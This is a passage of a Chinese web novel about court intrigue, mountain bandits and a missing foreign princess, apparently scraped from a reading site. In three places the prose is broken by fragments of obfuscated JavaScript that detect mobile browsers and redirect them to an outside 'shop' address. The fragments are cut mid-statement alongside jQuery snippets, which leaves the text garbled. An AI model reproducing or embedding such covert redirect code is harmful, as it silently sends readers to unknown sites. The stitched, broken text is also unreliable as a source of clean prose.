l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888078|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是这个娃娃却像是察觉不到这些目光似的,只是兀自用手臂颤颤巍巍的撑着自己的身体,他本想装作没看见她,可等自己真的路过此处时,还是没忍住缓缓用泛黄的眼珠子悄悄瞥了这女娃一眼。 初暒:“吴夫子,早。” 吴所仕甩了甩手,冷哼一声,道,“哗众取宠,真小女子是也。” 栗铜听到夫子这话,心中十分解气,他趴在讲堂的窗户抻着脖子看过来,用初暒足以听到音调,小声说,“活该!” “子贡问为仁,子曰‘工欲善其事,必先利其器’。居是邦也……” 吴所仕授课的声音已经响起,初暒定了定心神,不再想自己能倒着撑多久,而是专心去听讲经堂内吴夫子的教诲。 不知过了多久,一堂课终于结束,吴所仕出门后昂着脸看也不看的从初暒身边走过,苟旦也不等夫子走远,直直从自己的位置窜出来将初暒扶起,“吴夫子今日既不曾专门开口惩你,你为何还要平白受这苦啊!” 方才倒立时听的专注竟一刻也没有偷懒停下,这法子练臂力还是有点管用的,初暒心中喜悦,于是揉着自己的臂膀,笑问,“你只担心我,吴夫子的教导你到底听进心里多少了?” “啊?” “‘工欲善其事,必先利其器’。”初暒指着自己的胳膊,认真道,“我不是在受苦,而是在‘利其器’。” 苟旦没有听明白,可从刚下课就靠在讲堂门边的陈家宝却扑哧一笑,“器利了又如何,谁还指望你个小丫头片子善其事。” 初暒并不在意这些奚落,她微微抬眼看着这个穿得花枝招展的小胖子,道,“邱夫子已经说过有一些商户在虔来与安南山连接处遭难,你家经商,不知你是否听过‘客不离货,财不露白,贵不独行’这话?” “客不离货这话听过,可财要不露白,谁知道我有财。”陈家宝晃着自己脖子上的大金项圈,得意道,“先前给你,你却不要,怎么这会儿眼睛倒像是长在我这金疙瘩上啦。” 病得不轻。 初暒看傻子似的从他身边走过,陈家宝在她身后笑嘻嘻大喊,“我上下学都有张小卫带人佩刀护送,谅那帮小山匪见着我也是有贼心没贼胆,初眠眠,这玩意儿你要是喜欢,我摘下来送你啊!” 初暒背对着他摆了摆手,回到了自己的座位。 大概是因为入学第一天,初暒就给大家了一个下马威,除了苟旦、陈家宝和赵芊芊,与她同堂读书的同窗们鲜少有敢过来搭话的,就算路上面对面遇见了也大多装不认识躲得老远。 当然这其中也少不了栗铜的教唆。 毕竟自己让他出了丑,初暒表示理解的同时又觉得还是这样好,这样清静。 于是她在人来人往的讲经堂中光明正大的从自己胸前褡裢里掏出一小支卷轴,这是早晨为那位柳大人接骨时,从他袖袋中摸出来的。 卷轴上画的是像是一副地形图,左边有一处长且狭窄的蜿蜒路径,可是图像四周并无制图六体中任一一体,因而无法让人得知如何放置此图才能分辨出这条路径的具体方位。 这图上画的沟壑起伏绵延,如山脉可也同水渠很像,初暒将这幅图举在空中对光而视,除了能看见一滴像是不小心滴落的小块墨迹之外,并无什么特殊之处。 她翻来覆去的看过好几遍,还是辨明不出这是何处的地形。 那位柳先生昨日因何事突然造访,又为何瞒住自己丢失地形图之事? “虔来山自年前征粮时就有山匪作乱,你入学途中最好小心为上,还有……” “此处与虔来山相接,却仍是安南山的山头,那边的土匪已经沦落到在这儿打砸掠夺,想来虔来山内已经是各占为王了,眼下报官无济于事……” 幽王的话仍在耳边,那位柳大人的忧思也浮现在眼前,初暒将卷轴轻轻合起,低语一声,“虔来山。” “你去安南书院替我向邱阳带个口信,告诉他近几日山中不太平,莫要带弟子出来采风游学。” 窗外忽然有道身影匆忙走过,初暒只偏头看了一眼便立即快步追了出去,悄悄跟在他的身后。 30. 黑锅 邱阳清早在书院门口看到一位浑身褴褛、风尘仆仆的男子时还以为他是来讨饭的,可等这男子一开口,他才想起这人是跟在柳思无身边的小厮。 他们昨天就走了,怎么这会儿又返回来了? 邱阳看着这小厮的狼狈模样心里有些不大好的预感,于是抢在他开口前,忙问,“发生什么了?你们柳大人可还好?” 在小厮坦然地语气里,邱阳知晓了他们昨夜在山中遇上了土匪,虽说被洗劫一空,但所有人的性命都安然无恙,一早前来只是为了嘱托自己最近莫要带弟子进山游学时,才终于松了口气。 虔来山土匪横行已久,但大多时候与安南山井水不犯河水,而且先前邱阳自己做学生的时候还总听说虔来山的匪贼虽说蛮横凶狠,但是对读书人却客气的很,若是拦路打劫遇上进都赶考的学子还会赞赏一些铜钱,以助他安心求学,将来高中、造福百姓什么的,怎么如今不一样了,连柳兄那般文人都会遭此劫难。 邱阳一边挂念柳思无的伤势,一边又担忧土匪打劫范围离书院越来越近后众多弟子的安危,于是刚招待完来送口信的小厮,邱阳就匆匆跑向连廊找吴夫子商议此事。 跟着他们来到书房,初暒等他们进去后,悄声躲在窗下仔细听取里头的动静。 吴所仕:“我在这里教学多年,还不曾听说有土匪在安南山作乱的,你那友人所言确定是真?” “我与行知相识多年,他的为人自不必多说,吴先生,此事涉及书院众多弟子性命,你我不可掉以轻心,我知柳行知今日回都定然会将自己遭遇匪贼一事上报朝廷,但是上面是否将书院众人安危放在心上我却不敢打包票,因此,为今之计还是未雨绸缪早当先,居安思危谋长远最好。” 吴所仕捋着颌下半白的胡须,深思了片刻,“春考在即,先莫要引起众人恐慌,寻个由头将所有下学自行归家的弟子拦在书院留宿,夜里打更巡视的人手再多加几个,院里各处也都放置些趁手的家伙,还有下月的春季山中游学取消,改为……” 门外忽然有颗蹴鞠飞了进来,随后栗铜一脸惶恐地低头进来,问了句二位先生好便立刻捡了蹴鞠撒腿就跑。 吴所仕:“改为蹴鞠大会吧。” 邱阳点点头,想了一会儿又问,“那此事用不用报给……” “书院里无故有了这么多动静,他自会知晓。” 邱阳俯身行礼,“是,那晚辈即刻下去安排。” 送走邱阳,吴所仕背手注视着挂在书房墙壁上的一副山水图,低语,“你究竟在等什么样的人。” 从栗铜忽然出现那刻起,初暒便迅速躲到了书房的拐角处,此时见邱阳已经走远,才再又踮脚来到了书房窗下查看。 吴所仕已经背靠着墙壁坐在椅子上低头读书了。 初暒转过身后又回头看了一眼,方才离去。 “我为官多年,还不曾听说有土匪在安南山作乱的,柳大人你所言确定是真?该不会是遇着歹人被吓傻,开始胡言乱语了吧。” 春季万物复苏、日光和煦,四处都暖洋洋,可唯有一处庄重肃穆、静若寒蝉,大殿内数十余人皆垂眸躬身、敛容屏气。 金銮殿内,文武百官于两侧盘龙大柱旁庄严而立,柳思无拱手站在两队之中淡然若水,“回王大人,下官此前曾查阅过晁都城方圆百里之内的各县卷宗,确实发现近几月自虔来山至安南山抄掠案件剧增,可这些案件到最后全都不了了之,临山而作的百姓们皆因此人心惶惶、困苦不堪,故而下官特上奏恳请兵部出兵剿匪,还众民以安宁喜乐。” 兵部尚书王启:“虔来山土匪作乱多年,本官也无时不想将其连根拔起,可恨那山中匪贼十分凶狠与狡诈,若真决心去剿匪除了要从长计议,还需再选一位带兵能臣方可十拿九稳,但如今北漠使臣来势汹汹,是我部着重兵镇守才得以与他们一行人粉饰太平,人手短缺,眼下别说带兵能臣,就是稍稍机灵点儿的将领也是没有的。” 又是这套说辞。 柳思无咬了咬后槽牙。 文官队列中有一位目光如炬的高大汉子,抬脚出来,喊道,“要兵部出兵,又不是要你的老命,何故如此推脱,你们打不过匪贼,哪怕只出几队人马在山下转悠转悠,老百姓心中也是能宽慰一些的,王大人您说是不是啊!” 这个心直口快的是左佥都御史铁铭,数月前才从武江城调回晁都,自诩刚正不阿从来不看任何人的面子。 他此时插嘴,既直言兵部上下如同酒囊饭袋连山匪都打不过,又实实在在给他们出了个还不算馊的主意。 王启咬牙切齿,可又想不出反驳之言,正是愤怒与憋屈之时,他忽然看见一个人低头躬身恨不能将自己的脑袋埋进腹中。 电光火石之间王启心生一计,“铁大人真是一语惊醒梦中人,原先我晁都带兵能臣大多都镇守在边疆,可在映月关一战中,我们横空出世的慕小将军现下还正在都内,何不请他出马让那些山间蟊贼见识见识边关猛将的雄姿?” 此言一出,朝堂内众人开始窃窃私语。 “年前慕小将军就捷报传都、风光受赏,怎么这些时日却连面也不曾露过呢?” “谁说没有露面的,你外出公干今日才归来,想来还不知道呢,那位慕小将军领完赏后可是在思朝暮一连七日宴请与他年岁相当的朝中同袍,说是感念天恩,实则是怎么回事谁人不心知肚明,可好巧不巧,我听闻宴请最后一日他在思朝暮遭歹人刺杀,伤中左臂,这才上折子告恙久不露面。” “啊?伤的如此严重么,这都好几个月了还未痊愈?” “说是箭上有毒,险些危及性命呢。” “那歹人可曾抓住?” “唉,若是抓住了,那慕大人何苦与那幽王水火不容?” “怎的还有幽王的事。” “慕小将军被刺杀之日幽王恰好也在,他听闻此事立即抓了奸细同伙审问,见问不出什么竟直接将人活活打死,此事一无物证,二无人证便就此作罢,可怜慕小将军刚立功回都便白白受了这么大的委屈,事后幽王曾派人往慕府送了重礼,那慕大人收下第二日竟又原封不动的给还回去了,试问你我,谁有慕大人那般威武不能屈、富贵不能淫的胆量。” “哎呀呀,连幽王的面子也敢驳,慕大人果真清廉正直、不畏强势啊……” 底下众臣嘀咕的热火朝天,而身着一身明黄衣袍的少年则稳坐于御座之上默默地注视着他们每一张各有心思的脸,过了片刻,站在少年身旁的内侍李善仁察觉到主子的眼色后用尖细的嗓子喊了两遍‘肃静’才得以平息这些嘈杂的声音。 周围的打量和指点频频,慕维之却厚着脸皮始终不接话,直到坐在前头那位开了口询问,“慕小将军近日伤势如何,可有见好?” 慕维之:“多谢梁相挂念,犬子遭歹人行刺、身中剧毒但幸得皇恩浩荡、天子庇佑现下除了身子较为虚弱之外,已然无恙,方听闻虔来山匪贼嚣张,只要朝廷一声令下,犬子定然身先士卒、责无旁贷。” 他答得恭敬,仔细听那声音中似乎还带有哭腔,既让人感觉到了他心中憔悴,又觉得这位老父亲此时亦颇有硬撑之感。 “哼!好一个将军,好一个在自己家门口被人刺杀刺的卧床不起的大将军,让他去虔来山还不晓得是谁剿谁。” 人群中有一位低矮瘦弱、鬓边半白的男子昂首毫不掩饰地鄙夷慕峰青,他的声音不大却也足够被四周之人听到,铁铭不知道敢如此奚落朝廷新贵的大人是谁,环顾一圈竟发现好像只有自己在对他的言论大惊小怪。 “此事是让小将军受委屈了,再让他好好将养一段时日,切莫因此扰乱了军心。”梁崇元偏头看向王启,道,“虔来山匪贼一事就照铁大人说的做,眼下最要紧的还是如何应对北漠,塔鲁阿茶还是杳无音信吗?” 王启:“回梁相,我部与刑部着手联查于今年年后在晁都城内外摸排中发现,塔鲁阿茶并未潜进晁都,而是孤身绕道混入了兴民城中。” 兴民城? 与虔来山紧挨的兴民城? 怎么还有虔来山的事。 慕维之刚放下的心此时又被提起。 梁崇元垂眸,没有言语,王启又道,“当地官差已经将兴民城翻了个底朝天,可仍旧一无所获,有探子回禀虔来山近日不知为何各路山匪均开始抢占山头,有不少寡居的平民百姓都被掳进山中落了草,塔鲁阿茶孤身进城定然会扮作男子,下官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888079|192103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猜想她很有可能也是被掳百姓中的一个,不过……若是其身份暴露此刻恐怕已经凶多吉少……” 诸位官员都心知肚明,映月关一战,北漠惨败,北漠狼主塔鲁阿卓为从中北求得生活物资这才将自己的公主献给晁都,因而那位和亲公主要是真的死在中北境内,实在算不上什么大事,只是中北这些年与他们打仗纠缠到底也伤了元气,北漠若是知晓公主遭遇不测,没了交易的筹码也难保不会狗急跳墙。 北漠使臣丢了公主也不敢张扬只得低调进都,直至今日都老老实实地待在驿馆等候公主下落,只是……都过去这么久了,他们心里或许也已经做好最坏的打算了。 中北与北漠两方都在等,在等一个过得去的台阶,以及一个足够将台阶铺出去的、有分量的人。 “塔鲁阿茶失踪一事难说只是意外,北漠使臣也断不会像你我看到的这般安分守己,务必赶在北漠和亲公主失踪消息曝光前找到她。”沉寂了许久,梁崇元终于又用自己衰老的声音缓缓道,“生死勿论。” 人海茫茫,寻一个活人都艰难的很,就更不必说死人了。 王启有苦难言,也只得和血吞下,“是,下官明白。” 梁崇元:“柳大人,户部的回礼是否准备妥当?” “回梁相,已备妥了。”柳思无顿了顿,又补了一句,“此事能够在期限内做成,还是多亏了幽王殿下。” 柳思无说的诚恳,梁崇元看向他的目光却有些复杂,“幽王身子病弱,还得时刻操心这些琐事,也是为难他了。” 奚落过慕峰青的官员闻言有些不悦,“幽王性情乖张,且于立储一事本就不满,只因病体缠身才无奈不任职、不掌权,下官以为,即为避嫌、也为稳固国本,朝堂之事还是不要经他之手为好。” 梁崇元问,“现下回礼已备妥,与北漠交涉也有底气,依赵大人所见,差何人去安抚北漠使臣一行人最为稳妥?” 赵无祸脱口而出,“自然是慕大人之爱子慕峰青慕小将军了,他常年与北漠人打交道定能摸到他们的命门,更何况映月关一战慕小将军及其英勇的将北漠全军打的狼狈至极,若他出马,别说安抚,下官觉得北漠使臣或许连大气都不敢再出。” 他表面是在夸耀慕峰青,可话里的阴阳怪气就差写在脸上了。 众官中有人出言反驳,“慕将军此时伤体未愈,此时去见北漠人那不是自暴其丑么!” “古有将军刘綎被敌包围,两只手臂都被箭射中仍可挥刀如切菜,杀掉敌军数十人,纵使多处负伤、半边脸也被敌人大刀给砍了,依然勇猛无敌,怎么我们这位骁勇善战的小将军被奸细射中一箭便卧床数月,修养多日却还怕在昔日败将面前暴露虚弱之态?”赵无祸冷哼一声,“可真是好样的。” 慕维之被羞辱的面红耳赤却只能垂首强装笑脸。 赵无祸在堂下唇枪舌剑,众人都不愿再与他争辩,梁崇元只好又问,“那诸位觉得还有何人可担此任?” “下官认为赵大人言之有理,北漠匪贼向来慕强,若是见了慕小将军定然惶恐且不敢再有其他非分之想。” “下官也觉得……” 多数人都说赵无祸说的有理,慕维之背脊的冷汗都要出来了,就在他以为梁相会拍板定下此事时,忽听他问,“柳大人,你意下如何?” 柳思无躬身拱手,却不曾低头,他看着梁相一字一句道,“诸位大人所言皆有理,但下官以为,最适合稳住北漠使臣的人非幽王莫属。” 寻人和安抚都不是什么好差事,但如果北漠匪贼能得到好处就走再不执着寻人,那兵部的担子岂不是也能尽早放下。 而今放眼整个晁都除了幽王,又有谁能拿出足够的好处? 王启感激地看了柳思无一眼,而后附和,“幽王殿下身份尊贵虽体弱,但向来心系百姓,征粮一事他有功却不赏,定会伤了往后立功之臣的心,若是幽王能够稳住北漠使臣让他们顺利离开,则两功合为一赏,若是不能,他今后再要插手朝堂之事,你我也有据可驳,岂不是两全其美?” 他说的也有道理,众官相视一眼都暗自觉得,既然慕峰青有伤,那幽王也不是不行。 反正是口黑锅,给谁背不是背。 31. 接旨 终于捱到了下朝。 诸位大臣恭送小皇帝与梁相离去,才三三两两结伴散开。 作为朝廷新贵的老父亲,没有谁比慕维之更了解自己的孩儿,慕峰青那日被刺伤后伤着皮肉也见了点儿血,为躲上头派来的差事他才谎称箭上萃了毒休养至今,只是这病似乎装的太久,已经叫人起疑。 赵无祸说得对,映月关一战北漠倾举国之力却仍旧被打的狼狈不堪,他们这会儿见慕家军恐怕跟小鬼见了阎王爷一般,如今的边境或许是要比此时的晁都更为安全。 是时候想个法子将他送出去了。 慕维之心不在焉,旁人还当他在为儿子被抢了差事一事心有不甘,都纷纷过来安慰于他,只有一人仰着自己高傲的脑袋从他身边走过,看也不曾看他一眼。 远远落在人群后面的铁铭怼了怼柳思无的手臂,问,“那位赵大人什么来头,竟敢当众驳了慕大人的脸面?” “您不是也敢当众与兵部尚书呛声?” “嗐,那不是为了给你出气么,再说我提的法子也给他救了急呢,我顶多是说话直了些,算不上呛声,那位赵大人就不一样了,我瞧他看着慕大人的眼神像是恨不能将他活剥着吃了似的,怪渗人的。” 柳思无笑了笑问,“你可知慕大人文官出身,怎舍得将自己唯一的儿子往边境军营里送去?” “难道是因为慕家那小子天纵奇才、偏对打仗上道?” “他少年时,与你说的倒是完全相反。” 铁铭不解,柳思无看着孤身走在前面的赵无祸,“赵大人发妻早亡,只留下两女,他一人含辛茹苦将她们带大,尤其是他那位大女儿即出落得温婉大气又琴棋书画、诗词歌赋样样精通,她那时正处于精心为自己缝制嫁衣的年纪却没成想最先穿上的是一身寿衣。” “啊?” “慕家小子是家中独子,少年时就已经是晁都一霸,一日他与同伴在城外吊儿郎当时见到了乘马车去兴民城红光寺礼佛的少女,少女清白貌美,他在同伴的挑唆下上前侮辱调戏,却不想遇着的是个烈性女子,不等众人反应过来她便将随身带着的绣花针插进了自己的经外奇穴之中,当场殒命。” “此事传入晁都,赵大人自然要慕峰青以命偿命,可慕大人怎么舍得把自己的独子交出去,恰逢当年北漠狼主正值壮年,时常在边境肆意窃夺、打砸劫舍,前线多次传来军报陈情兵力不足,慕家抓住这一时机进宫觐见先皇,曰:‘既人死不能复生,那便罚他子去前线从军护国,这样他生能为国效力,死亦能为赵大人之女偿命,解他一家心头之恨。’先皇允了,于是赵大人只得忍气吞声,怎料年前前线传来捷报,这慕峰青不仅没有战死,反让他打了一场胜仗,翻身成了百姓口中的大英雄,你让那赵大人心中怎能不憋屈。” “唉……若是赵家那姑娘平安嫁人,慕峰青不去从军,我中北还不一定会被北漠抢去几座城池,天下又不知会有多少百姓葬身北漠匪贼的铁骑之下,可……这些若是必须要用一个小姑娘的性命来换,也不晓得究竟值不值得……” 柳思无打断他,“这世间哪有那么多若是,只有运也,命也。” 柳思无背手阔步,铁铭只晃了个神就走慢了两步,他没有瞧见这位翩翩君子目视前方的眸色中藏匿着的凉薄与讥讽。 是夜,慕府。 慕维之的书房里烛火昏暗,在厅内不停来回走动人影将本就虚弱的火苗扇动的忽忽闪闪。 慕峰青因故在家中憋了许久,见父亲刚一回来就差人喊他,竟觉得就算自己是来挨骂也是有意思的。 只是……这阵轻快直到他站在父亲书房门口才消失殆尽,慕峰青被自己胸腔中那阵砰砰作响的动静给吓着了—— 该不会是自己又闯了什么祸,连累到慕家吧? 砰砰砰。 “爹?”他试探般轻声叫喊。 吱呀一声,门从里面拉开,慕维之黑着脸,“进来。” 慕峰青身量在男子中算是高大的,常年待在军中多少也让他沾染了些挺拔威武的气场,可这人不知在何处受了什么刺激,一看见老爹就像耗子见了猫似的总是战战兢兢地,慕维之瞧见他这副模样肚子里的气就不打一处来。 “都是我的骨肉怎么你四妹妹就天不怕地不怕,一个小女子打仗凶狠的让北漠匪贼都怕胆战心惊,再看看你这畏畏缩缩的样子,哪里像一个征战沙场的大将军!” 妹妹、妹妹又是妹妹,每次一提起这个妹妹父亲就要骂上自己几句,慕峰青心里窝火,于是小声抱怨,“若不是她飞扬跋扈、争强好胜,我也不会被捧上这个位置,如今只苦了我想下,不甘心,想上,又怕被人踹下来。” “你那不是在怪她,而是在怪我将她放在你身边了?” “儿不敢。” “事情既已过去,就莫再提那些没用的。”慕维之担忧道,“北漠使臣秘密进都已有一段时日,塔鲁阿茶没有音信也不知他们还会再停留多久,只要你还在晁都城内,就定会有与北漠使臣见面一日,峰青,你能否与他们相持斡旋?” 慕峰青犹豫了片刻,问,“父亲可知,那北漠使臣中为首的叫什么?” “听闻是叫宝颜…宝颜巴特。” “那就坏了。”慕峰青眉头一皱,“这个巴特看似憨厚,实则熟读兵法最为狡诈,慕初在前线作战时用的名号是‘慕’,因而北漠军大多都以为她才是慕将军,若是让他们看到我,宝颜巴特定能猜测到我们的‘偷天换日’。” “待你重返军营,此事终有一天会暴露。” “大战时盔甲厚重、面上又满是黏腻血污,身量与形貌均可作假,因而鲜少有北漠军见过慕初的真面目,况且我常年与她混在一处早就将其言行举止学了个七七八八,在外,世人周知慕初是叛国战犯,而我慕峰青才是慕将军,可在内,北漠匪贼向来崇武好斗,万一他们要与我比试切磋,我一动手便会将自己的短处暴露无遗,若是在晁都城内露出马脚,那咱们慕家……” “不必再说。”慕维之坐在书桌之前,用手背撑在额头试图压住自己鬓边滋滋往外冒的白发,“今日在朝堂上,有人提议要你带兵去虔来山剿匪,被为父用你中毒受伤这个借口勉强搪塞了过去,可是上面要派人去安抚丢了公主的北漠使臣一事却险些落在你头上。” “险些?还有谁能担此任?” “柳思无举荐了幽王。” 慕峰青惊诧,“您不是说朝中清流皆避他不及?那柳大人我曾见过,不像是会与幽王同流勾结的。” 慕维之:“举荐谁便是与谁同流吗?你都什么年纪了,怎的还只会以貌识人,前些时日我听闻户部征粮遇阻,就是那柳思无在宫门口拦了幽王的马车,他不知说了些什么,竟哄得幽王出重金助他将征粮变作买粮,而底下征粮的小厮仗着幽王的名号暴力收粮,这才解了户部的燃眉之急,征粮一事,户部将功领了,骂名却让幽王背下,你瞧着那幽王像是会与柳思无同流勾结的人?” “确实不像,可是柳大人为何要这样做呢,他们已经污了幽王的名声,现今又将安抚北漠使臣这出力不讨好差事塞给过去,那不是火上浇油么,他到底哪来的胆子?” “先皇还在世时就有众多传言曰,幽王才是命定的储君,但是先皇驾崩前,只留下了一道传位薛渊的口谕,渊与霁只有一字之差,可口谕既出,两人之中一个一举跃为九五之尊、一个却只能俯首称臣,幽王的心有不甘晁都众所周知、北漠更是心中有数,如果能和幽王这位与中北皇室不睦的皇亲国戚搭上线,那么他们即使没了一位公主或许也能得到自己想要的东西。” “可是幽王身弱又多病,要是他不愿揽下这份差事呢。” “那些立储传言或许也让先皇心中忌惮,幽王的权势早年就被他借口养病陆续卸了个干净,如今幼帝羽翼未满,他必定会想方设法获得权力,而身在朝廷只要有事可做且昧了良心,任何人都能得偿所愿。” 慕峰青听完父亲的解释,连连赞叹,“柳大人年纪与我相仿,心思与行事竟如此缜密老辣,在思朝暮与他初见时,幸好我言行皆谨慎,没让他看出不妥来。” “柳行知这个人平民出身又少年得志,心中自有一腔报国热血与玲珑圆滑,就算看出你有何处不妥,也不会当面点明。”慕维之叹了口气,“边疆战势危急、刀枪无眼,为父本想为你在晁都内打通关系,可如今看来你这心机城府实在不是在朝为官的材料,罢了罢了,也不指望你在朝中助我一臂之力了,只盼你平安吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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管家将鼓鼓囊囊一只大锦囊塞进内官手里,那人便立刻将其收下藏于袖袋之中,他扭曲着的身子活像一朵在风中凌乱地向日葵,“哎呦,您跟我还这么客气,咱家谢过殿下,您且歇着莫要相送啦。” 将一群太监恭敬送走,管家回禀完毕就自行退下了。 昨日下了朝,不多时就有人将朝堂上发生的一切用书信传了回来,无恩收起圣旨冷哼,“前些年都疯狗般上书拦着您参政,如今搞了一堆烂摊子倒想起请您收场了。” 薛霁抬手拂掉自己衣袖上沾染的黑灰石粉,漫不经心道,“梁相年纪大了,心有余而力不足。” “您是说……”无恩心中了然,“听闻是柳大人极力举荐了您,这位大人莫不是尝到了征粮的甜头,处处都想拖咱们下水?” “那便看看他有没有这个本事。”薛霁端起茶杯,用茶盖拨了拨面上浮起的茶片,厅内霎时热气袅袅、香气四溢,他垂首轻嗅茶香,问,“柳思无近日可见过什么人?” “他山中遇匪前一日曾于安南书院见到了往日同窗,现今在书院里教书的夫子邱阳,高寒说,初家那个小丫头就是他的学生……” 薛霁饮茶的姿势一顿。 无恩皱着眉纠结了片刻还是将初暒的近况,报给了主子听,“高寒还说,那丫头不知着了什么魔,入学第二天一大早就围着书院跑了数圈,跑完书院又从山顶跑到了山底,正准备回去的时候遇着被山匪敲晕的柳大人一行人,她救了差点被蛇勒死的小厮、给柳大人接了骨就直接走了,两人连面都没见上,施恩不图报,实在不像无恩说的那么混账……” 将高寒的原话如数转达,无恩却越说越气,他这么夸赞初家丫头倒显得自己没事成日在背后论人短长似的。 哼!施恩不图报。 他每次买糖葫芦都多给那大爷塞碎银子的时候怎么没人夸赞他! 无恩不服,想向主子解释自己不是那般小心眼的人,怎料一偏头却瞧见他的眸色里竟有些许温和。 哎呀,真是好看,他的主子不愧是排在晁都首位的俊俏儿郎。 无恩瞬间忘了自己因何不服,也忘了自己要解释什么。 他看着主子放下茶盏缓缓站起,说,“那女子举止古怪,找几个体力好的继续盯着。” “是。” “玉衍君的帖子是定在今日么?” “回主子,是今日,马车已经备好,随时都可出发。” “那即刻就去见他罢。” 32. 条件 民间早有风声,过完年后,北漠会有使臣送公主进晁和亲,小皇帝权还没掌就要先娶媳妇了,大家等了很久,老百姓积攒的烂菜叶与臭鸡蛋也预备了很久,可是晁都城里愣是一点北漠人的动静都没有。 手下败将还没来,朝廷从百姓家中抢走用作回礼的粮食就早早准备好了,大街小巷的老少爷们无不闹心感叹,上面的人真是光腚拉磨,转着圈丢人。 月亮与夕阳交辉相应,晁都城一处僻静驿馆的后院里,鸽笼里锁着几只肉鸽,数十匹膘肥体壮、品相良好的马匹正立在木槽边安静地啃草,离得近了,方能看见驿馆末间屋子的屋顶、窗外与墙边都有许多丝状兽筋横七竖八的交织在一起,仔细再看,每一条兽筋上还绑扎着精致小巧的铃铛。 有风拂动时,只要有一颗铜珠轻轻晃动,所有的铃铛便都能被牵引出清脆悦耳的响声。 往来的行人听见这些响声觉得稀奇想过去瞧瞧,刚迈了两步,立刻就有高大汉子不知从什么地方冒出来挥动着双臂就要驱赶他们走。 而住在这家驿馆的人,从入住到离开都不知道住在末间的客人们长得什么模样。 “要不是每日都有人出来取饭送碗、盥洗如厕,我还以为那里面住的是鬼呢。” “就是,掌柜的你没偷偷去瞧过吗,万一真是鬼你这小店可成凶宅了。” “去去去,瞎说什么呢鬼还用吃饭?‘能进能出’那就是人……哎呦客官好,您二位是打尖还是住店哇?” 跟在后面的男子,答,“约了人。” 天色已晚,驿站里烛台昏黄,掌柜的纵使看不清来人的衣着相貌,可也明白这两人的身姿与气派都不像是寻常百姓,尤其是走在前头的那位,宽肩细腰、长身玉立,就只站在那儿一言不发也能让人胆战心寒。 他心领神会的躬身抬手,笑道,“晓得了,请这边来。” 驿站掌柜将两人引至一间屋子前,颔首告退。 见他走远,无恩在主子的示意下抱拳后转身离去,薛霁则直接推门而入。 这驿站里的房间看着平平无奇,可内里的装饰却十分大气雅致,他一撩起垂帘,就听背对着自己坐在厅内圆桌旁的齐煴玥说,“承安,你可让我好等。” “有事耽搁了,莫怪。” “怎会。” 齐煴玥抬手将斟好的茶摆在他面前,“你费心为望江楼诗会打点,我还不曾谢过你。” 薛霁端起茶杯,轻嗅着茶香却并不去饮,“举手之劳而已。” 齐煴玥笑了笑,目光只望着快要触到他唇边的茶水。 忽然‘啪’的一声,薛霁微微偏头,将杯中茶水泼向身后,他似乎有些嫌恶,“你选的什么地方,处处都有飞虫。” “原来是有飞虫,我还当你以为茶里有毒。” 薛霁也看着他,“哦,原来没有吗?” 齐煴玥怔了一下而后笑道,“真不愧是从小被毒害惯了的,亏我方才还在想,要是能在此处不费吹灰之力就将百姓口中的奸王杀了,史书中或许还能为我添上几笔,我此时信了,你能活到现在真不是因为命好。” 薛霁却不像是在开玩笑,“我只身前来见你,你想杀我易如反掌,齐玉衍,有话直说,你我之间不必再兜圈子。” 齐煴玥闻其言,缓缓敛起唇边的笑意,“三日前,我决心散了诗会离开晁都,临行前想与你辞别,但……送帖子回来的小厮与我说他看见有一位女子竟活着从念弥陀中走了出来。” 薛霁饮着茶,脸上的神色在晃动的烛光中晦暗不明。 “我与她曾有一面之缘,只是还没有来得及问她姓名就走散了,没成想原来是让你的人掳了去。” “鲜少有女子能被你放在心上,不知她有何独到之处。” “‘少年身量约摸六尺半,足长六寸三,肩窄骨瘦’,那日在思朝暮就是她,刺杀了慕峰青。” “你瞎猜也要有个依据。” 薛霁的神情丝毫没有变化,可是齐煴玥还是从他忽然收力泛白的指尖瞧出了端倪,“那日我隔着窗与她打了个照面,身量六尺、肩窄骨瘦是真,她在望江楼擦得发亮的地板上险些被绊倒,留了一道清晰足印,那足印六寸三也是真,这些当然不足以将一个少女猜成少年,但是此刻你手中紧握的茶杯告诉我,我……猜对了。” “你想做什么?” “这世上没有被你盯上却又能被你无故放走的人。”齐煴玥看着薛霁,认真道,“我要知道她的姓名与下落。” “理由。” 齐煴玥不答,只从怀里摸出一卷字条摆在桌上。 字卷表面上并无任何字迹,只有封口处的一小簇狼毫十分引人注目。 “承安。”齐煴玥语气温柔,“不要以为只有你会拦截信鸽。” 这卷字条,不是理由,是条件。 而条件,是用来交换的。 薛霁看着桌上的字条,思忖了片刻,道,“安南书院,初眠眠。” 见贵客从雅间出来,趴在柜台读书的掌柜连忙将手里捏着的书卷扣下,道,“外头天黑,小的给您提灯照个明吧。” 借着烛光,薛霁瞧见那掌柜正在读的书,名目为《兴亡书》。 难怪。 “不劳烦。” 薛霁婉拒,正准备抬步出去时,迎面遇上了一位刚要进门的客人。 这人生的高大魁梧、络腮满是短须,瞧着不太好惹,可只要一笑,满脸又尽显老实憨厚,“哎呦,您先过,您先过。” 汉子笑呵呵地侧身让路,薛霁对他微微颔首以示谢意后,大大方方的收了他的好意。 这汉子看着那位非富即贵之人的背影,想了许久才憋出一句,“器宇不凡,真是器宇不凡。” 掌柜的走回柜台,听那汉子又说,“掌柜,末间再记一笔晚膳,我稍后着人来取。” “是。” 见他走了,掌柜的也终于卸下脸上的笑意,继续翻书来看。 